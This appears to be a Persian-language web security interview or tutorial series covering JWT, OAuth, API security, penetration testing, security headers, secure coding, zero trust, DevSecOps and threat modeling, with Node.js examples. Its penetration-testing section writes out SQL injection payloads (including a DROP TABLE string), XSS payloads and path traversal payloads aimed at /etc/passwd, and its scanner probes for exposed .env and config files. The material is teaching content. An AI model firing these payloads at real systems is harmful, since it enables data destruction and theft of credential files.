// ساختار کلی eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c // Header (Base64 decoded) { "alg": "HS256", "typ": "JWT" } // Payload (Base64 decoded) { "sub": "1234567890", "name": "John Doe", "iat": 1516239022, "exp": 1516242622 } // Signature HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )
const jwt = require('jsonwebtoken'); // تولید JWT function generateToken(user) { const payload = { userId: user.id, username: user.username, role: user.role, iat: Math.floor(Date.now() / 1000), // issued at exp: Math.floor(Date.now() / 1000) + (60 * 60) // expires in 1 hour }; return jwt.sign(payload, process.env.JWT_SECRET, { algorithm: 'HS256' }); } // تأیید JWT function verifyToken(token) { try { return jwt.verify(token, process.env.JWT_SECRET); } catch (error) { throw new Error('Invalid token'); } } // Middleware برای احراز هویت function authenticateToken(req, res, next) { const authHeader = req.headers['authorization']; const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN if (!token) { return res.status(401).json({ error: 'Access token required' }); } try { const decoded = verifyToken(token); req.user = decoded; next(); } catch (error) { return res.status(403).json({ error: 'Invalid or expired token' }); } } // استفاده app.post('/login', (req, res) => { // احراز هویت کاربر const user = authenticateUser(req.body.username, req.body.password); if (user) { const token = generateToken(user); res.json({ token }); } else { res.status(401).json({ error: 'Invalid credentials' }); } }); app.get('/protected', authenticateToken, (req, res) => { res.json({ message: 'Access granted', user: req.user }); });
- مزایا: Stateless، قابل حمل، خودکفا
- معایب: غیرقابل لغو، اندازه بزرگ، امنیت secret
25. مفهوم OAuth 2.0 چیست؟
پاسخ:
OAuth 2.0 یک چارچوب مجوزدهی است که به برنامههای شخص ثالث اجازه دسترسی محدود به سرویسهای HTTP را میدهد بدون اینکه رمز عبور کاربر را فاش کنند.
- Resource Owner: کاربر (مالک منابع)
- Client: برنامهای که دسترسی میخواهد
- Authorization Server: سرور مجوزدهی
- Resource Server: سرور منابع
- Authorization Code: برای برنامههای وب
- Implicit: برای برنامههای SPA (منسوخ شده)
- Client Credentials: برای برنامههای سرور به سرور
- Resource Owner Password: برای برنامههای قابل اعتماد
// مرحله 1: هدایت کاربر به Authorization Server const authUrl = 'https://auth.example.com/oauth/authorize?' + 'response_type=code&' + 'client_id=your_client_id&' + 'redirect_uri=https://yourapp.com/callback&' + 'scope=read_profile&' + 'state=random_state_string'; window.location.href = authUrl; // مرحله 2: دریافت Authorization Code در callback app.get('/callback', async (req, res) => { const { code, state } = req.query; // بررسی state برای جلوگیری از CSRF if (state !== expectedState) { return res.status(400).send('Invalid state'); } // مرحله 3: تبدیل code به access token const tokenResponse = await fetch('https://auth.example.com/oauth/token', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ grant_type: 'authorization_code', code: code, redirect_uri: 'https://yourapp.com/callback', client_id: 'your_client_id', client_secret: 'your_client_secret' }) }); const tokens = await tokenResponse.json(); // { access_token, refresh_token, expires_in, token_type } // مرحله 4: استفاده از access token const userResponse = await fetch('https://api.example.com/user', { headers: { 'Authorization': `Bearer ${tokens.access_token}` } }); const userData = await userResponse.json(); res.json(userData); });
// Authorization Endpoint app.get('/oauth/authorize', (req, res) => { const { client_id, redirect_uri, scope, state } = req.query; // بررسی client_id و redirect_uri if (!isValidClient(client_id, redirect_uri)) { return res.status(400).send('Invalid client'); } // نمایش صفحه موافقت کاربر res.render('consent', { client_id, scope, state, redirect_uri }); }); // Token Endpoint app.post('/oauth/token', (req, res) => { const { grant_type, code, client_id, client_secret } = req.body; if (grant_type === 'authorization_code') { // بررسی authorization code const authCode = getAuthorizationCode(code); if (!authCode || authCode.client_id !== client_id) { return res.status(400).json({ error: 'invalid_grant' }); } // تولید access token const accessToken = generateAccessToken(); const refreshToken = generateRefreshToken(); res.json({ access_token: accessToken, token_type: 'Bearer', expires_in: 3600, refresh_token: refreshToken }); } });
26. مفهوم API Security چیست؟
پاسخ:
API Security مجموعهای از روشها و تکنیکهاست که برای محافظت از APIها در برابر تهدیدات امنیتی و استفاده غیرمجاز استفاده میشود.
- Broken Authentication: نقص در احراز هویت
- Excessive Data Exposure: افشای بیش از حد داده
- Lack of Rate Limiting: عدم محدودیت نرخ درخواست
- Injection Attacks: حملات تزریق
- Improper Asset Management: مدیریت نادرست داراییها
- Authentication & Authorization: احراز هویت و مجوزدهی
- Input Validation: اعتبارسنجی ورودی
- Rate Limiting: محدودیت نرخ
- HTTPS Only: فقط HTTPS
- API Versioning: نسخهبندی API
// مثال API امن const express = require('express'); const rateLimit = require('express-rate-limit'); const helmet = require('helmet'); const validator = require('validator'); const app = express(); // امنیت عمومی app.use(helmet()); app.use(express.json({ limit: '10mb' })); // Rate Limiting const apiLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 دقیقه max: 100, // حداکثر 100 درخواست message: 'Too many requests from this IP' }); app.use('/api/', apiLimiter); // Authentication Middleware function authenticateAPI(req, res, next) { const apiKey = req.headers['x-api-key']; const authHeader = req.headers['authorization']; if (apiKey) { // API Key authentication if (!isValidApiKey(apiKey)) { return res.status(401).json({ error: 'Invalid API key' }); } req.auth = { type: 'api_key', key: apiKey }; } else if (authHeader) { // Bearer token authentication const token = authHeader.split(' ')[1]; try { const decoded = jwt.verify(token, process.env.JWT_SECRET); req.auth = { type: 'jwt', user: decoded }; } catch (error) { return res.status(401).json({ error: 'Invalid token' }); } } else { return res.status(401).json({ error: 'Authentication required' }); } next(); } // Input Validation function validateUserInput(req, res, next) { const { email, age, name } = req.body; if (email && !validator.isEmail(email)) { return res.status(400).json({ error: 'Invalid email format' }); } if (age && (!validator.isInt(age.toString()) || age < 0 || age > 150)) { return res.status(400).json({ error: 'Invalid age' }); } if (name && !validator.isLength(name, { min: 1, max: 100 })) { return res.status(400).json({ error: 'Invalid name length' }); } next(); } // API Endpoints app.get('/api/users', authenticateAPI, (req, res) => { // بررسی مجوز if (req.auth.type === 'jwt' && req.auth.user.role !== 'admin') { return res.status(403).json({ error: 'Insufficient permissions' }); } // فیلتر کردن دادههای حساس const users = getAllUsers().map(user => ({ id: user.id, name: user.name, email: user.email // حذف رمز عبور و سایر اطلاعات حساس })); res.json(users); }); app.post('/api/users', authenticateAPI, validateUserInput, (req, res) => { // ایجاد کاربر جدید const newUser = createUser(req.body); res.status(201).json({ id: newUser.id, message: 'User created successfully' }); });
// تنظیم Security Headers app.use((req, res, next) => { // CORS res.header('Access-Control-Allow-Origin', 'https://trusted-domain.com'); res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization'); // Security Headers res.header('X-Content-Type-Options', 'nosniff'); res.header('X-Frame-Options', 'DENY'); res.header('X-XSS-Protection', '1; mode=block'); res.header('Strict-Transport-Security', 'max-age=31536000; includeSubDomains'); next(); });
27. مفهوم Penetration Testing چیست؟
پاسخ:
Penetration Testing (Pen Testing) فرآیند شبیهسازی حملات سایبری برای شناسایی آسیبپذیریها و نقاط ضعف امنیتی در سیستمها، شبکهها و برنامهها است.
- Black Box: بدون اطلاعات قبلی از سیستم
- White Box: با دسترسی کامل به اطلاعات سیستم
- Gray Box: با اطلاعات محدود از سیستم
- Planning & Reconnaissance: جمعآوری اطلاعات
- Scanning: شناسایی سرویسها و آسیبپذیریها
- Gaining Access: بهرهبرداری از آسیبپذیریها
- Maintaining Access: حفظ دسترسی
- Analysis & Reporting: تحلیل و گزارشدهی
- Nmap: اسکن شبکه و پورت
- Burp Suite: تست امنیت برنامههای وب
- Metasploit: فریمورک بهرهبرداری
- OWASP ZAP: پروکسی امنیت وب
- Wireshark: تحلیل ترافیک شبکه
// مثال اسکریپت ساده برای تست امنیت const axios = require('axios'); // تست SQL Injection async function testSQLInjection(baseUrl) { const payloads = [ "' OR '1'='1", "'; DROP TABLE users; --", "' UNION SELECT * FROM users --" ]; for (const payload of payloads) { try { const response = await axios.get(`${baseUrl}/search?q=${encodeURIComponent(payload)}`); // بررسی نشانههای SQL Injection if (response.data.includes('SQL syntax') || response.data.includes('mysql_fetch') || response.data.includes('ORA-')) { console.log(`🚨 SQL Injection vulnerability found with payload: ${payload}`); } } catch (error) { // بررسی خطاهای پایگاه داده if (error.response && error.response.data.includes('database')) { console.log(`⚠️ Potential SQL Injection: ${payload}`); } } } } // تست XSS async function testXSS(baseUrl) { const payloads = [ " "javascript:alert('XSS')" ]; for (const payload of payloads) { try { const response = await axios.post(`${baseUrl}/comment`, { content: payload }); if (response.data.includes(payload)) { console.log(`🚨 XSS vulnerability found with payload: ${payload}`); } } catch (error) { console.log(`Error testing XSS: ${error.message}`); } } } // تست Directory Traversal async function testDirectoryTraversal(baseUrl) { const payloads = [ "../../../etc/passwd", "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" ]; for (const payload of payloads) { try { const response = await axios.get(`${baseUrl}/file?path=${encodeURIComponent(payload)}`); if (response.data.includes('root:') || response.data.includes('localhost')) { console.log(`🚨 Directory Traversal vulnerability found: ${payload}`); } } catch (error) { // خطاهای 403/404 نشاندهنده محافظت است } } } // اجرای تستها async function runSecurityTests(targetUrl) { console.log(`Starting security tests for: ${targetUrl}`); await testSQLInjection(targetUrl); await testXSS(targetUrl); await testDirectoryTraversal(targetUrl); console.log('Security tests completed'); } // استفاده (فقط روی سیستمهای مجاز!) // runSecurityTests('https://your-test-site.com');
28. مفهوم Vulnerability Assessment چیست؟
پاسخ:
Vulnerability Assessment فرآیند سیستماتیک شناسایی، طبقهبندی و اولویتبندی آسیبپذیریهای امنیتی در سیستمها، شبکهها و برنامهها است.
- Vulnerability Assessment: شناسایی آسیبپذیریها
- Penetration Testing: بهرهبرداری از آسیبپذیریها
- Network-based: اسکن شبکه و سرویسها
- Host-based: بررسی سیستمعامل و برنامهها
- Application-based: تست امنیت برنامهها
- Database-based: بررسی امنیت پایگاه داده
- Asset Discovery: شناسایی داراییها
- Vulnerability Scanning: اسکن آسیبپذیری
- Analysis & Validation: تحلیل و اعتبارسنجی
- Risk Assessment: ارزیابی ریسک
- Reporting: گزارشدهی
- Remediation: اقدامات اصلاحی
- Nessus: اسکنر آسیبپذیری تجاری
- OpenVAS: اسکنر متنباز
- Qualys: پلتفرم ابری
- Rapid7 Nexpose: راهحل سازمانی
// مثال اسکریپت Vulnerability Assessment ساده const axios = require('axios'); const https = require('https'); class VulnerabilityScanner { constructor(target) { this.target = target; this.vulnerabilities = []; } // بررسی SSL/TLS async checkSSL() { try { const response = await axios.get(this.target, { httpsAgent: new https.Agent({ rejectUnauthorized: false }) }); // بررسی هدرهای امنیتی const headers = response.headers; if (!headers['strict-transport-security']) { this.addVulnerability('Missing HSTS header', 'Medium'); } if (!headers['x-content-type-options']) { this.addVulnerability('Missing X-Content-Type-Options header', 'Low'); } if (!headers['x-frame-options']) { this.addVulnerability('Missing X-Frame-Options header', 'Medium'); } } catch (error) { if (error.code === 'CERT_HAS_EXPIRED') { this.addVulnerability('SSL Certificate Expired', 'High'); } } } // بررسی اطلاعات افشا شده async checkInformationDisclosure() { try { const response = await axios.get(`${this.target}/server-status`); if (response.status === 200) { this.addVulnerability('Apache Server Status Page Exposed', 'Medium'); } } catch (error) { // خطای 404 یا 403 طبیعی است } try { const response = await axios.get(`${this.target}/.git/config`); if (response.status === 200) { this.addVulnerability('Git Repository Exposed', 'High'); } } catch (error) { // خطای 404 یا 403 طبیعی است } } // بررسی Directory Listing async checkDirectoryListing() { const directories = ['/uploads/', '/images/', '/files/', '/backup/']; for (const dir of directories) { try { const response = await axios.get(`${this.target}${dir}`); if (response.data.includes('Index of') || response.data.includes('Directory listing')) { this.addVulnerability(`Directory Listing Enabled: ${dir}`, 'Low'); } } catch (error) { // خطای 404 یا 403 طبیعی است } } } // بررسی فایلهای حساس async checkSensitiveFiles() { const sensitiveFiles = [ '/robots.txt', '/.env', '/config.php', '/wp-config.php', '/database.yml' ]; for (const file of sensitiveFiles) { try { const response = await axios.get(`${this.target}${file}`); if (response.status === 200) { this.addVulnerability(`Sensitive File Exposed: ${file}`, 'Medium'); } } catch (error) { // خطای 404 طبیعی است } } } addVulnerability(description, severity) { this.vulnerabilities.push({ description, severity, timestamp: new Date().toISOString() }); } async scan() { console.log(`Starting vulnerability assessment for: ${this.target}`); await this.checkSSL(); await this.checkInformationDisclosure(); await this.checkDirectoryListing(); await this.checkSensitiveFiles(); return this.generateReport(); } generateReport() { const report = { target: this.target, scanDate: new Date().toISOString(), totalVulnerabilities: this.vulnerabilities.length, severityBreakdown: { high: this.vulnerabilities.filter(v => v.severity === 'High').length, medium: this.vulnerabilities.filter(v => v.severity === 'Medium').length, low: this.vulnerabilities.filter(v => v.severity === 'Low').length }, vulnerabilities: this.vulnerabilities }; console.log('Vulnerability Assessment Report:'); console.log(JSON.stringify(report, null, 2)); return report; } } // استفاده // const scanner = new VulnerabilityScanner('https://example.com'); // scanner.scan();
29. مفهوم Security Headers چیست؟
پاسخ:
Security Headers هدرهای HTTP هستند که توسط سرور ارسال میشوند تا به مرورگر دستورالعملهای امنیتی ارائه دهند و از انواع مختلف حملات محافظت کنند.
- Content-Security-Policy (CSP): کنترل منابع قابل بارگذاری
- Strict-Transport-Security (HSTS): اجبار استفاده از HTTPS
- X-Frame-Options: جلوگیری از Clickjacking
- X-Content-Type-Options: جلوگیری از MIME Sniffing
- Referrer-Policy: کنترل اطلاعات Referrer
// Express.js با helmet const helmet = require('helmet'); app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.jsdelivr.net"], styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"], imgSrc: ["'self'", "data:", "https:"], fontSrc: ["'self'", "https://fonts.gstatic.com"], connectSrc: ["'self'", "https://api.example.com"] } }, hsts: { maxAge: 31536000, // 1 سال includeSubDomains: true, preload: true } })); // تنظیم دستی هدرها app.use((req, res, next) => { // HSTS - اجبار HTTPS res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload'); // X-Frame-Options - جلوگیری از Clickjacking res.setHeader('X-Frame-Options', 'DENY'); // X-Content-Type-Options - جلوگیری از MIME Sniffing res.setHeader('X-Content-Type-Options', 'nosniff'); // X-XSS-Protection - فعالسازی فیلتر XSS مرورگر res.setHeader('X-XSS-Protection', '1; mode=block'); // Referrer-Policy - کنترل اطلاعات Referrer res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin'); // Permissions-Policy - کنترل ویژگیهای مرورگر res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()'); next(); });
// CSP با nonce برای اسکریپتهای inline const crypto = require('crypto'); app.use((req, res, next) => { // تولید nonce تصادفی const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce; const csp = [ "default-src 'self'", `script-src 'self' 'nonce-${nonce}' https://trusted-cdn.com`, "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com", "img-src 'self' data: https:", "font-src 'self' https://fonts.gstatic.com", "connect-src 'self' https://api.example.com", "frame-ancestors 'none'", "base-uri 'self'", "form-action 'self'" ].join('; '); res.setHeader('Content-Security-Policy', csp); next(); }); // در HTML template // <script nonce="<%= nonce %>"> // console.log('This script is allowed'); // </script>
// اسکریپت بررسی Security Headers const axios = require('axios'); async function checkSecurityHeaders(url) { try { const response = await axios.get(url); const headers = response.headers; const securityHeaders = { 'strict-transport-security': 'HSTS', 'content-security-policy': 'CSP', 'x-frame-options': 'X-Frame-Options', 'x-content-type-options': 'X-Content-Type-Options', 'x-xss-protection': 'X-XSS-Protection', 'referrer-policy': 'Referrer-Policy' }; console.log(`Security Headers Analysis for: ${url}\n`); for (const [header, name] of Object.entries(securityHeaders)) { if (headers[header]) { console.log(`✅ ${name}: ${headers[header]}`); } else { console.log(`❌ ${name}: Missing`); } } // بررسی کیفیت CSP if (headers['content-security-policy']) { const csp = headers['content-security-policy']; if (csp.includes("'unsafe-eval'")) { console.log(`⚠️ CSP Warning: 'unsafe-eval' detected`); } if (csp.includes("'unsafe-inline'")) { console.log(`⚠️ CSP Warning: 'unsafe-inline' detected`); } } } catch (error) { console.error(`Error checking headers: ${error.message}`); } } // استفاده // checkSecurityHeaders('https://example.com');
30. مفهوم Secure Coding Practices چیست؟
پاسخ:
Secure Coding Practices مجموعهای از اصول، روشها و تکنیکهاست که توسعهدهندگان برای نوشتن کد امن و مقاوم در برابر حملات سایبری استفاده میکنند.
- Input Validation: اعتبارسنجی تمام ورودیها
- Output Encoding: رمزگذاری خروجیها
- Least Privilege: حداقل امتیازات
- Defense in Depth: دفاع چندلایه
- Fail Securely: شکست امن
// ❌ کد ناامن - SQL Injection function getUserByEmail(email) { const query = `SELECT * FROM users WHERE email = '${email}'`; return database.query(query); } // ✅ کد امن - Prepared Statement function getUserByEmail(email) { const query = 'SELECT * FROM users WHERE email = ?'; return database.query(query, [email]); } // ❌ کد ناامن - XSS function displayUserComment(comment) { document.getElementById('comment').innerHTML = comment; } // ✅ کد امن - Output Encoding function displayUserComment(comment) { const sanitized = escapeHtml(comment); document.getElementById('comment').textContent = sanitized; } function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } // ❌ کد ناامن - Path Traversal app.get('/file/:filename', (req, res) => { const filename = req.params.filename; res.sendFile(`./uploads/${filename}`); }); // ✅ کد امن - Path Validation const path = require('path'); app.get('/file/:filename', (req, res) => { const filename = req.params.filename; // اعتبارسنجی نام فایل if (!/^[a-zA-Z0-9._-]+$/.test(filename)) { return res.status(400).send('Invalid filename'); } const filePath = path.join(__dirname, 'uploads', filename); // بررسی اینکه فایل در دایرکتوری مجاز است if (!filePath.startsWith(path.join(__dirname, 'uploads'))) { return res.status(403).send('Access denied'); } res.sendFile(filePath); });
- ✅ Input Validation: تمام ورودیها اعتبارسنجی شدهاند
- ✅ SQL Injection: از Prepared Statements استفاده شده
- ✅ XSS Prevention: خروجیها encode شدهاند
- ✅ CSRF Protection: توکنهای CSRF پیادهسازی شده
- ✅ Authentication: احراز هویت قوی
- ✅ Authorization: کنترل دسترسی صحیح
- ✅ Error Handling: مدیریت امن خطاها
- ✅ Logging: لاگگیری رویدادهای امنیتی
const bcrypt = require('bcrypt'); const validator = require('validator'); class SecureUserManager { constructor(database) { this.db = database; } // ایجاد کاربر امن async createUser(userData) { const { email, password, name } = userData; // اعتبارسنجی ورودی if (!validator.isEmail(email)) { throw new Error('Invalid email format'); } if (!this.isStrongPassword(password)) { throw new Error('Password does not meet security requirements'); } if (!validator.isLength(name, { min: 1, max: 100 })) { throw new Error('Invalid name length'); } // بررسی تکراری نبودن ایمیل const existingUser = await this.getUserByEmail(email); if (existingUser) { throw new Error('Email already exists'); } // هش کردن رمز عبور const hashedPassword = await bcrypt.hash(password, 12); // ذخیره در پایگاه داده const query = 'INSERT INTO users (email, password_hash, name, created_at) VALUES (?, ?, ?, ?)'; const result = await this.db.query(query, [ email, hashedPassword, name, new Date() ]); // لاگگیری console.log(`New user created: ${email}`); return { id: result.insertId, email, name }; } // احراز هویت امن async authenticateUser(email, password) { if (!validator.isEmail(email)) { throw new Error('Invalid email format'); } const user = await this.getUserByEmail(email); if (!user) { // تأخیر برای جلوگیری از timing attacks await bcrypt.hash('dummy', 12); throw new Error('Invalid credentials'); } const isValid = await bcrypt.compare(password, user.password_hash); if (!isValid) { // لاگگیری تلاش ناموفق console.log(`Failed login attempt for: ${email}`); throw new Error('Invalid credentials'); } // لاگگیری ورود موفق console.log(`Successful login: ${email}`); return { id: user.id, email: user.email, name: user.name }; } // بررسی قدرت رمز عبور isStrongPassword(password) { return password.length >= 8 && /[a-z]/.test(password) && /[A-Z]/.test(password) && /[0-9]/.test(password) && /[^a-zA-Z0-9]/.test(password); } // دریافت کاربر با ایمیل async getUserByEmail(email) { const query = 'SELECT * FROM users WHERE email = ?'; const results = await this.db.query(query, [email]); return results[0] || null; } } // استفاده const userManager = new SecureUserManager(database); try { const newUser = await userManager.createUser({ email: '[email protected]', password: 'StrongP@ssw0rd!', name: 'John Doe' }); console.log('User created successfully:', newUser); } catch (error) { console.error('Error creating user:', error.message); }
31. مفهوم Zero Trust Security چیست؟
پاسخ:
Zero Trust Security یک مدل امنیتی است که بر اساس اصل "هرگز اعتماد نکن، همیشه تأیید کن" عمل میکند و هیچ کاربر یا دستگاهی را به طور پیشفرض قابل اعتماد نمیداند.
- Never Trust, Always Verify: هرگز اعتماد نکن، همیشه تأیید کن
- Least Privilege Access: حداقل دسترسی لازم
- Assume Breach: فرض کن که نفوذ رخ داده
- Verify Explicitly: تأیید صریح هویت
- Identity Verification: تأیید هویت
- Device Security: امنیت دستگاه
- Network Segmentation: بخشبندی شبکه
- Application Security: امنیت برنامه
- Data Protection: محافظت از داده
// پیادهسازی Zero Trust در API const jwt = require('jsonwebtoken'); // Middleware تأیید هویت چندمرحلهای function zeroTrustAuth(req, res, next) { // مرحله 1: بررسی JWT Token const token = req.headers.authorization?.split(' ')[1]; if (!token) { return res.status(401).json({ error: 'No token provided' }); } let decoded; try { decoded = jwt.verify(token, process.env.JWT_SECRET); } catch (error) { return res.status(401).json({ error: 'Invalid token' }); } // مرحله 2: بررسی وضعیت کاربر const user = getUserById(decoded.userId); if (!user || !user.isActive) { return res.status(401).json({ error: 'User not active' }); } // مرحله 3: بررسی IP و مکان const clientIP = req.ip; if (!isIPAllowed(user.id, clientIP)) { logSecurityEvent('Suspicious IP access', { userId: user.id, ip: clientIP }); return res.status(403).json({ error: 'Access from unauthorized location' }); } // مرحله 4: بررسی Device Fingerprint const deviceFingerprint = req.headers['x-device-fingerprint']; if (!isDeviceKnown(user.id, deviceFingerprint)) { // نیاز به تأیید اضافی return res.status(403).json({ error: 'Unknown device', requiresAdditionalAuth: true }); } // مرحله 5: بررسی سطح دسترسی برای منبع خاص const resource = req.path; const method = req.method; if (!hasPermission(user, resource, method)) { return res.status(403).json({ error: 'Insufficient permissions' }); } req.user = user; next(); } // تابع بررسی مجوزها function hasPermission(user, resource, method) { const permissions = getUserPermissions(user.id); const requiredPermission = `${method}:${resource}`; return permissions.includes(requiredPermission) || permissions.includes(`*:${resource}`) || user.role === 'admin'; } // لاگگیری رویدادهای امنیتی function logSecurityEvent(event, details) { console.log({ timestamp: new Date().toISOString(), event: event, details: details, severity: 'HIGH' }); } // استفاده app.get('/api/sensitive-data', zeroTrustAuth, (req, res) => { // دسترسی فقط پس از تأیید کامل Zero Trust res.json({ data: 'Sensitive information' }); });
32. مفهوم DevSecOps چیست؟
پاسخ:
DevSecOps رویکردی است که امنیت را به عنوان بخشی جداییناپذیر از فرآیند DevOps در نظر میگیرد و آن را در تمام مراحل چرخه توسعه نرمافزار ادغام میکند.
- Shift Left Security: جابجایی امنیت به سمت چپ
- Automation: خودکارسازی بررسیهای امنیتی
- Continuous Monitoring: نظارت مداوم
- Shared Responsibility: مسئولیت مشترک
- SAST: Static Application Security Testing
- DAST: Dynamic Application Security Testing
- SCA: Software Composition Analysis
- Container Security: امنیت کانتینر
// مثال Pipeline امنیتی در CI/CD # .github/workflows/security.yml name: Security Pipeline on: push: branches: [ main, develop ] pull_request: branches: [ main ] jobs: security-scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 # Static Code Analysis - name: Run ESLint Security run: | npm install eslint-plugin-security npx eslint --ext .js,.ts --config .eslintrc-security.js src/ # Dependency Vulnerability Scan - name: Run npm audit run: npm audit --audit-level high # SAST with SonarQube - name: SonarQube Scan uses: sonarqube-quality-gate-action@master env: SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} # Container Security Scan - name: Build Docker image run: docker build -t myapp:${{ github.sha }} . - name: Run Trivy vulnerability scanner uses: aquasecurity/trivy-action@master with: image-ref: 'myapp:${{ github.sha }}' format: 'sarif' output: 'trivy-results.sarif' # Secret Detection - name: Run GitLeaks uses: zricethezav/gitleaks-action@master # Infrastructure as Code Security - name: Run Checkov uses: bridgecrewio/checkov-action@master with: directory: ./terraform framework: terraform
// مثال Security Gate در Node.js const { execSync } = require('child_process'); class SecurityGate { static async runSecurityChecks() { const results = { passed: true, issues: [] }; try { // بررسی آسیبپذیریهای dependencies console.log('Running dependency vulnerability scan...'); execSync('npm audit --audit-level high', { stdio: 'inherit' }); // بررسی کیفیت کد console.log('Running code quality checks...'); execSync('npx eslint src/ --max-warnings 0', { stdio: 'inherit' }); // بررسی secrets console.log('Scanning for secrets...'); const secretScan = execSync('npx detect-secrets scan --all-files', { encoding: 'utf8' }); if (secretScan.includes('"results": {}')) { console.log('✅ No secrets detected'); } else { results.passed = false; results.issues.push('Potential secrets detected'); } // بررسی license compliance console.log('Checking license compliance...'); execSync('npx license-checker --onlyAllow "MIT;Apache-2.0;BSD-3-Clause"', { stdio: 'inherit' }); } catch (error) { results.passed = false; results.issues.push(error.message); } return results; } static async deploymentGate() { console.log('🔒 Running Security Gate...'); const securityResults = await this.runSecurityChecks(); if (!securityResults.passed) { console.error('❌ Security Gate Failed!'); console.error('Issues found:', securityResults.issues); process.exit(1); } console.log('✅ Security Gate Passed!'); return true; } } // استفاده در deployment script async function deploy() { await SecurityGate.deploymentGate(); // ادامه deployment console.log('Proceeding with deployment...'); } deploy().catch(console.error);
33. مفهوم Threat Modeling چیست؟
پاسخ:
Threat Modeling فرآیند سیستماتیک شناسایی، تحلیل و کاهش تهدیدات امنیتی در یک سیستم یا برنامه است.
- Define: تعریف سیستم و مرزهای آن
- Identify: شناسایی تهدیدات
- Mitigate: کاهش تهدیدات
- Validate: اعتبارسنجی اقدامات
- STRIDE: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege
- PASTA: Process for Attack Simulation and Threat Analysis
- OCTAVE: Operationally Critical Threat, Asset, and Vulnerability Evaluation
- TRIKE: Risk-based approach
// مثال Threat Model برای سیستم احراز هویت const threatModel = { system: "User Authentication System", components: [ { name: "Login Form", threats: [ { type: "Spoofing", description: "Attacker impersonates legitimate user", impact: "High", likelihood: "Medium", mitigation: "Multi-factor authentication, strong password policy" }, { type: "Tampering", description: "Form data manipulation", impact: "Medium", likelihood: "High", mitigation: "Input validation, CSRF tokens" } ] }, { name: "Session Management", threats: [ { type: "Information Disclosure", description: "Session token exposure", impact: "High", likelihood: "Medium", mitigation: "HTTPS, secure cookies, session rotation" }, { type: "Elevation of Privilege", description: "Session hijacking", impact: "High", likelihood: "Low", mitigation: "IP binding, device fingerprinting" } ] } ] }; // تابع تحلیل ریسک function calculateRisk(impact, likelihood) { const impactScore = { Low: 1, Medium: 2, High: 3 }; const likelihoodScore = { Low: 1, Medium: 2, High: 3 }; const score = impactScore[impact] * likelihoodScore[likelihood]; if (score >= 6) return "Critical"; if (score >= 4) return "High"; if (score >= 2) return "Medium"; return "Low"; } // گزارش Threat Model function generateThreatReport(model) { console.log(`Threat Model Report for: ${model.system}\n`); model.components.forEach(component => { console.log(`Component: ${component.name}`); console.log("Threats:"); component.threats.forEach(threat => { const risk = calculateRisk(threat.impact, threat.likelihood); console.log(` - ${threat.type}: ${threat.description}`); console.log(` Risk Level: ${risk}`); console.log(` Mitigation: ${threat.mitigation}\n`); }); }); } generateThreatReport(threatModel);
// مثال ساده DFD برای وب اپلیکیشن const dataFlowDiagram = { entities: [ { id: "user", name: "User", type: "external" }, { id: "admin", name: "Administrator", type: "external" } ], processes: [ { id: "auth", name: "Authentication Process", trustBoundary: "web" }, { id: "api", name: "API Server", trustBoundary: "backend" } ], dataStores: [ { id: "userdb", name: "User Database", trustBoundary: "backend" }, { id: "logs", name: "Audit Logs", trustBoundary: "backend" } ], dataFlows: [ { from: "user", to: "auth", data: "Credentials", protocol: "HTTPS" }, { from: "auth", to: "api", data: "Validated Request", protocol: "Internal" }, { from: "api", to: "userdb", data: "User Query", protocol: "SQL" }, { from: "api", to: "logs", data: "Audit Event", protocol: "Internal" } ] }; // تحلیل Trust Boundaries function analyzeTrustBoundaries(dfd) { const boundaries = {}; dfd.dataFlows.forEach(flow => { const fromBoundary = getTrustBoundary(flow.from, dfd); const toBoundary = getTrustBoundary(flow.to, dfd); if (fromBoundary !== toBoundary) { const key = `${fromBoundary} -> ${toBoundary}`; if (!boundaries[key]) boundaries[key] = []; boundaries[key].push(flow); } }); console.log("Trust Boundary Crossings:"); Object.entries(boundaries).forEach(([boundary, flows]) => { console.log(`${boundary}:`); flows.forEach(flow => { console.log(` - ${flow.data} (${flow.protocol})`); }); }); } function getTrustBoundary(entityId, dfd) { const entity = dfd.entities.find(e => e.id === entityId) || dfd.processes.find(p => p.id === entityId) || dfd.dataStores.find(d => d.id === entityId); return entity?.trustBoundary || "external"; }
34. مفهوم Security Incident Response چیست؟
پاسخ:
Security Incident Response فرآیند سازمانیافته برای شناسایی، مدیریت و بازیابی از حوادث امنیتی است.
- Preparation: آمادهسازی و برنامهریزی
- Identification: شناسایی حادثه
- Containment: مهار حادثه
- Eradication: ریشهکنی تهدید
- Recovery: بازیابی سیستمها
- Lessons Learned: درسآموزی
- Data Breach: نقض داده
- Malware Infection: آلودگی به بدافزار
- DDoS Attack: حمله انکار سرویس
- Insider Threat: تهدید داخلی
- System Compromise: نفوذ به سیستم
